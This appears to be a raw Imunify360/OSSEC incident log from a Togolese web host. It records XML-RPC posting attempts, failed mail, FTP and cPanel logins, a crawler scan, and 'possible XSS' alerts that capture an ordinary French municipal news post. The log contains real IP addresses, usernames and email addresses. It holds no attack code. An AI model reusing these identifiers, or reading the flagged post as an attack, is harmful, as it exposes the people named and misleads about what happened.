# incident

plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c1b96030c097c0b4a9b65981807d85d4fe618ae8||Title:6ym6ad2k15dvld8edy||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.40.111
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:202e6fa044e249ae1c606a0d2ca4eced59ed7c66||Title:aira5nfyboh7623z||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6cd4d746b2cc7b48830c22e8e9add5582effe3e1||Title:a4qtfx39b4fc9g12c||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.170
country_id: 3175395
description:
Jun  5 11:50:09 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 11:50:21 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59498: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13295,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1723391-1024x577.jpg\" alt=\"\" class=\"wp-image-13295\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong><em>\xc3\x80 l\xe2\x80\x99issue du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, organis\xc3\xa9 \xc3\xa0 lom\xc3\xa9 du 2 au 4 juin autour du th\xc3\xa8me \xc2\xab de la connaissance \xc3\xa0 l\xe2\x80\x99action : des outils concrets et des donn\xc3\xa9es fiables pour renforcer la place du volontariat dans l\xe2\x80\x99espace cedeao \xc2\xbb, les participants ont effectu\xc3\xa9 jeudi une visite touristique et \xc3\xa9cologique dans la ville historique d\xe2\x80\x99an\xc3\xa9ho.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette excursion organis\xc3\xa9e \xc3\xa0 l'invitation du s\xc3\xa9nateur-maire, me alexis coffi aquereburu a permis aux repr\xc3\xa9sentants des agences nationales de volontariat des pays ouest-africains, de d\xc3\xa9couvrir le riche patrimoine culturel, historique et environnemental de l\xe2\x80\x99ancienne capitale du togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">apr\xc3\xa8s avoir \xc3\xa9t\xc3\xa9 chaleureusement accueilli \xc3\xa0 la mairie par l\xe2\x80\x99adjoint au maire, mr kangni agossou kouevi, la d\xc3\xa9l\xc3\xa9gation a d\xe2\x80\x99abord marqu\xc3\xa9 un arr\xc3\xaat au grau d\xe2\x80\x99an\xc3\xa9ho, site embl\xc3\xa9matique o\xc3\xb9 la lagune rencontre l\xe2\x80\x99oc\xc3\xa9an atlantique. ce lieu charg\xc3\xa9 d\xe2\x80\x99histoire et de symboles a offert aux visiteurs, un panorama exceptionnel et un aper\xc3\xa7u de l\xe2\x80\x99importance culturelle, \xc3\xa9conomique et des d\xc3\xa9fis environnementaux de cette zone pour les populations locales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13296,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1659391-1024x577.jpg\" alt=\"\" class=\"wp-image-13296\"/><figcaption class=\"wp-element-caption\"><strong>accueil de la d\xc3\xa9l\xc3\xa9gation \xc3\xa0 l'arriv\xc3\xa9e \xc3\xa0 la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13297,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.51-1024x577.jpeg\" alt=\"\" class=\"wp-image-13297\"/><figcaption class=\"wp-element-caption\"><strong>la d\xc3\xa9l\xc3\xa9gation re\xc3\xa7ue \xc3\xa0 la salle patrice ayivi</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le parcours s\xe2\x80\x99est poursuivi \xc3\xa0 la mairie d\xe2\x80\x99an\xc3\xa9ho o\xc3\xb9 les participants ont admir\xc3\xa9 les fresques murales retra\xc3\xa7ant les diff\xc3\xa9rentes \xc3\xa9tapes de la f\xc3\xaate traditionnelle ep\xc3\xa9-ekp\xc3\xa9, c\xc3\xa9l\xc3\xa9bration identitaire majeure du peuple guin. \xc3\x80 travers les explications du guide touristique de la mairie, mr f\xc3\xa9lix anoumou dossavi, les visiteurs ont d\xc3\xa9couvert les origines, les rites et les valeurs de coh\xc3\xa9sion sociale v\xc3\xa9hicul\xc3\xa9es par cette manifestation culturelle ancestrale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">la d\xc3\xa9l\xc3\xa9gation s\xe2\x80\x99est ensuite rendue \xc3\xa0 la for\xc3\xaat urbaine d\xe2\x80\x99an\xc3\xa9ho, espace vert d\xc3\xa9di\xc3\xa9 \xc3\xa0 la pr\xc3\xa9servation de la biodiversit\xc3\xa9 et \xc3\xa0 la promotion de l\xe2\x80\x99\xc3\xa9ducation environnementale. cette visite a permis aux participants d\xe2\x80\x99appr\xc3\xa9cier les initiatives locales en mati\xc3\xa8re de protection de l\xe2\x80\x99environnement et de d\xc3\xa9veloppement durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13298,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.50-1024x577.jpeg\" alt=\"\" class=\"wp-image-13298\"/><figcaption class=\"wp-element-caption\"><strong>visite au grau d'an\xc3\xa9ho</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13299,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1024x577.jpeg\" alt=\"\" class=\"wp-image-13299\"/><figcaption class=\"wp-element-caption\"><strong>visite des fresques de la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le point culminant de cette journ\xc3\xa9e a \xc3\xa9t\xc3\xa9 l\xe2\x80\x99activit\xc3\xa9 de reboisement organis\xc3\xa9e dans le cadre de la journ\xc3\xa9e nationale de l\xe2\x80\x99arbre. en signe de leur engagement en faveur de la protection de l\xe2\x80\x99environnement et de la lutte contre les effets du changement climatique, les membres de la d\xc3\xa9l\xc3\xa9gation ont proc\xc3\xa9d\xc3\xa9 \xc3\xa0 la mise en terre de trente plants de cocotier sur la plage de la mairie d\xe2\x80\x99an\xc3\xa9ho non loin du bar-restaurant marigot. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par ce geste symbolique, les agences nationales de volontariat de l\xe2\x80\x99espace cedeao ont r\xc3\xa9affirm\xc3\xa9 leur volont\xc3\xa9 d\xe2\x80\x99associer l\xe2\x80\x99engagement citoyen \xc3\xa0 la lutte contre l'\xc3\xa9rosion c\xc3\xb4ti\xc3\xa8re, tout en laissant une empreinte durable de leur passage au togo. a l'issue de ces diff\xc3\xa9rentes activit\xc3\xa9s, le dg de l\xe2\x80\x99agence nationale de volontariat au togo, dr omar agbangba s\xe2\x80\x99est dit satisfait et a exprim\xc3\xa9 sa gratitude \xc3\xa0 mr le maire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13300,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13300\"/><figcaption class=\"wp-element-caption\"><strong>reboisement \xc3\xa0 la plage </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13301,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.48-1024x577.jpeg\" alt=\"\" class=\"wp-image-13301\"/><figcaption class=\"wp-element-caption\"><strong>le dg de l'anvt, dr omar agbangba </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab&nbsp;<em>nous sommes satisfaits de la visite parce qu\xe2\x80\x99elle a \xc3\xa9t\xc3\xa9 bien organis\xc3\xa9e, on a re\xc3\xa7u un accueil tr\xc3\xa8s chaleureux \xc3\xa0 notre arriv\xc3\xa9e. je tiens \xc3\xa0 remercier le maire pour toutes les dispositions prises pour nous offrir un agr\xc3\xa9able s\xc3\xa9jour que tous les participants ont appr\xc3\xa9ci\xc3\xa9s</em>&nbsp;\xc2\xbb, a-t-il indiqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab\xc2\xa0<em>personnellement je ne suis pas \xc3\xa9tranger \xc3\xa0 la ville d\xe2\x80\x99an\xc3\xa9ho qui poss\xc3\xa8de une merveille de la nature qui est cette rencontre entre la lagune et la mer. an\xc3\xa9ho est une belle ville et je suis content de toujours revenir ici</em>\xc2\xa0\xc2\xbb, a d\xc3\xa9clar\xc3\xa9 pour sa part, francis chuks njoaguani, directeur du centre de d\xc3\xa9veloppement de la jeunesse et des sports de la cedeao.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette visite a ainsi constitu\xc3\xa9 un moment de d\xc3\xa9couverte, de partage culturel et d\xe2\x80\x99engagement \xc3\xa9cologique, venant cl\xc3\xb4turer en beaut\xc3\xa9 les travaux du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, tenu \xc3\xa0 lom\xc3\xa9 et consacr\xc3\xa9 au renforcement du volontariat comme levier de d\xc3\xa9veloppement et d\xe2\x80\x99int\xc3\xa9gration r\xc3\xa9gionale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule de communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1.mairie.tg/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.163.26.43
country_id: 1512440
description:
2026-06-05 11:50:37 H=([185.163.26.43]) [185.163.26.43]:46795 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2243e62985aa2560890bc03ede2d1b5604276c29||Title:6p81sefsto2kw66fb||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.39
country_id: 2363686
description:
[2026-06-05 11:51:12 +0000] info [webmaild] 102.212.93.39 - raouf.damtare@togointerim.net "GET /cpsess7189778522/3rdparty/roundcube/?_task=mail&_mbox=INBOX&login=1&post_login=1179312055206 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.36] != Current IP Address [102.212.93.39]


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par claude gbenyedji</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":13295,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1723391-1024x577.jpg\" alt=\"\" class=\"wp-image-13295\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong><em>\xc3\x80 l\xe2\x80\x99issue du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, organis\xc3\xa9 \xc3\xa0 lom\xc3\xa9 du 2 au 4 juin autour du th\xc3\xa8me \xc2\xab de la connaissance \xc3\xa0 l\xe2\x80\x99action : des outils concrets et des donn\xc3\xa9es fiables pour renforcer la place du volontariat dans l\xe2\x80\x99espace cedeao \xc2\xbb, les participants ont effectu\xc3\xa9 jeudi une visite touristique et \xc3\xa9cologique dans la ville historique d\xe2\x80\x99an\xc3\xa9ho.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette excursion organis\xc3\xa9e \xc3\xa0 l'invitation du s\xc3\xa9nateur-maire, me alexis coffi aquereburu a permis aux repr\xc3\xa9sentants des agences nationales de volontariat des pays ouest-africains, de d\xc3\xa9couvrir le riche patrimoine culturel, historique et environnemental de l\xe2\x80\x99ancienne capitale du togo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">apr\xc3\xa8s avoir \xc3\xa9t\xc3\xa9 chaleureusement accueilli \xc3\xa0 la mairie par l\xe2\x80\x99adjoint au maire, mr kangni agossou kouevi, la d\xc3\xa9l\xc3\xa9gation a d\xe2\x80\x99abord marqu\xc3\xa9 un arr\xc3\xaat au grau d\xe2\x80\x99an\xc3\xa9ho, site embl\xc3\xa9matique o\xc3\xb9 la lagune rencontre l\xe2\x80\x99oc\xc3\xa9an atlantique. ce lieu charg\xc3\xa9 d\xe2\x80\x99histoire et de symboles a offert aux visiteurs, un panorama exceptionnel et un aper\xc3\xa7u de l\xe2\x80\x99importance culturelle, \xc3\xa9conomique et des d\xc3\xa9fis environnementaux de cette zone pour les populations locales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13296,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/20260604_1659391-1024x577.jpg\" alt=\"\" class=\"wp-image-13296\"/><figcaption class=\"wp-element-caption\"><strong>accueil de la d\xc3\xa9l\xc3\xa9gation \xc3\xa0 l'arriv\xc3\xa9e \xc3\xa0 la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13297,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.51-1024x577.jpeg\" alt=\"\" class=\"wp-image-13297\"/><figcaption class=\"wp-element-caption\"><strong>la d\xc3\xa9l\xc3\xa9gation re\xc3\xa7ue \xc3\xa0 la salle patrice ayivi</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le parcours s\xe2\x80\x99est poursuivi \xc3\xa0 la mairie d\xe2\x80\x99an\xc3\xa9ho o\xc3\xb9 les participants ont admir\xc3\xa9 les fresques murales retra\xc3\xa7ant les diff\xc3\xa9rentes \xc3\xa9tapes de la f\xc3\xaate traditionnelle ep\xc3\xa9-ekp\xc3\xa9, c\xc3\xa9l\xc3\xa9bration identitaire majeure du peuple guin. \xc3\x80 travers les explications du guide touristique de la mairie, mr f\xc3\xa9lix anoumou dossavi, les visiteurs ont d\xc3\xa9couvert les origines, les rites et les valeurs de coh\xc3\xa9sion sociale v\xc3\xa9hicul\xc3\xa9es par cette manifestation culturelle ancestrale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">la d\xc3\xa9l\xc3\xa9gation s\xe2\x80\x99est ensuite rendue \xc3\xa0 la for\xc3\xaat urbaine d\xe2\x80\x99an\xc3\xa9ho, espace vert d\xc3\xa9di\xc3\xa9 \xc3\xa0 la pr\xc3\xa9servation de la biodiversit\xc3\xa9 et \xc3\xa0 la promotion de l\xe2\x80\x99\xc3\xa9ducation environnementale. cette visite a permis aux participants d\xe2\x80\x99appr\xc3\xa9cier les initiatives locales en mati\xc3\xa8re de protection de l\xe2\x80\x99environnement et de d\xc3\xa9veloppement durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13298,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.50-1024x577.jpeg\" alt=\"\" class=\"wp-image-13298\"/><figcaption class=\"wp-element-caption\"><strong>visite au grau d'an\xc3\xa9ho</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13299,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1024x577.jpeg\" alt=\"\" class=\"wp-image-13299\"/><figcaption class=\"wp-element-caption\"><strong>visite des fresques de la mairie</strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">le point culminant de cette journ\xc3\xa9e a \xc3\xa9t\xc3\xa9 l\xe2\x80\x99activit\xc3\xa9 de reboisement organis\xc3\xa9e dans le cadre de la journ\xc3\xa9e nationale de l\xe2\x80\x99arbre. en signe de leur engagement en faveur de la protection de l\xe2\x80\x99environnement et de la lutte contre les effets du changement climatique, les membres de la d\xc3\xa9l\xc3\xa9gation ont proc\xc3\xa9d\xc3\xa9 \xc3\xa0 la mise en terre de trente plants de cocotier sur la plage de la mairie d\xe2\x80\x99an\xc3\xa9ho non loin du bar-restaurant marigot. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">par ce geste symbolique, les agences nationales de volontariat de l\xe2\x80\x99espace cedeao ont r\xc3\xa9affirm\xc3\xa9 leur volont\xc3\xa9 d\xe2\x80\x99associer l\xe2\x80\x99engagement citoyen \xc3\xa0 la lutte contre l'\xc3\xa9rosion c\xc3\xb4ti\xc3\xa8re, tout en laissant une empreinte durable de leur passage au togo. a l'issue de ces diff\xc3\xa9rentes activit\xc3\xa9s, le dg de l\xe2\x80\x99agence nationale de volontariat au togo, dr omar agbangba s\xe2\x80\x99est dit satisfait et a exprim\xc3\xa9 sa gratitude \xc3\xa0 mr le maire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:columns -->\n<div class=\"wp-block-columns\"><!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13300,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.49-1-1024x577.jpeg\" alt=\"\" class=\"wp-image-13300\"/><figcaption class=\"wp-element-caption\"><strong>reboisement \xc3\xa0 la plage </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column -->\n\n<!-- wp:column -->\n<div class=\"wp-block-column\"><!-- wp:image {\"id\":13301,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-05-at-04.27.48-1024x577.jpeg\" alt=\"\" class=\"wp-image-13301\"/><figcaption class=\"wp-element-caption\"><strong>le dg de l'anvt, dr omar agbangba </strong></figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:column --></div>\n<!-- /wp:columns -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab&nbsp;<em>nous sommes satisfaits de la visite parce qu\xe2\x80\x99elle a \xc3\xa9t\xc3\xa9 bien organis\xc3\xa9e, on a re\xc3\xa7u un accueil tr\xc3\xa8s chaleureux \xc3\xa0 notre arriv\xc3\xa9e. je tiens \xc3\xa0 remercier le maire pour toutes les dispositions prises pour nous offrir un agr\xc3\xa9able s\xc3\xa9jour que tous les participants ont appr\xc3\xa9ci\xc3\xa9s</em>&nbsp;\xc2\xbb, a-t-il indiqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">\xc2\xab\xc2\xa0<em>personnellement je ne suis pas \xc3\xa9tranger \xc3\xa0 la ville d\xe2\x80\x99an\xc3\xa9ho qui poss\xc3\xa8de une merveille de la nature qui est cette rencontre entre la lagune et la mer. an\xc3\xa9ho est une belle ville et je suis content de toujours revenir ici</em>\xc2\xa0\xc2\xbb, a d\xc3\xa9clar\xc3\xa9 pour sa part, francis chuks njoaguani, directeur du centre de d\xc3\xa9veloppement de la jeunesse et des sports de la cedeao.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\">cette visite a ainsi constitu\xc3\xa9 un moment de d\xc3\xa9couverte, de partage culturel et d\xe2\x80\x99engagement \xc3\xa9cologique, venant cl\xc3\xb4turer en beaut\xc3\xa9 les travaux du 8\xe1\xb5\x89 forum des agences nationales de volontariat de l\xe2\x80\x99espace cedeao, tenu \xc3\xa0 lom\xc3\xa9 et consacr\xc3\xa9 au renforcement du volontariat comme levier de d\xc3\xa9veloppement et d\xe2\x80\x99int\xc3\xa9gration r\xc3\xa9gionale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>cellule de communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph {\"style\":{\"typography\":{\"fontsize\":\"21px\"}}} -->\n<p style=\"font-size:21px\"><strong>contact : communication@lacs1.mairie.tg/whatsapp : 70 52 52 67/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 160.250.133.162
country_id: 1562822
description:
Jun  5 11:51:42 ns5 pure-ftpd[1602000]: (?@160.250.133.162) [INFO] New connection from 160.250.133.162


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8309b3ab10d3480ed65add969e5e7fa408ca173d||Title:xkpmt491q31o0pf||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 160.250.133.162
country_id: 1562822
description:
Jun  5 11:51:46 ns5 pure-ftpd[1602000]: (?@160.250.133.162) [WARNING] Authentication failed for user [admin]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.59.185.254
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:73942173740157157eb663a297b3a741163de6b8||Title:pmx0x60341fco8||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
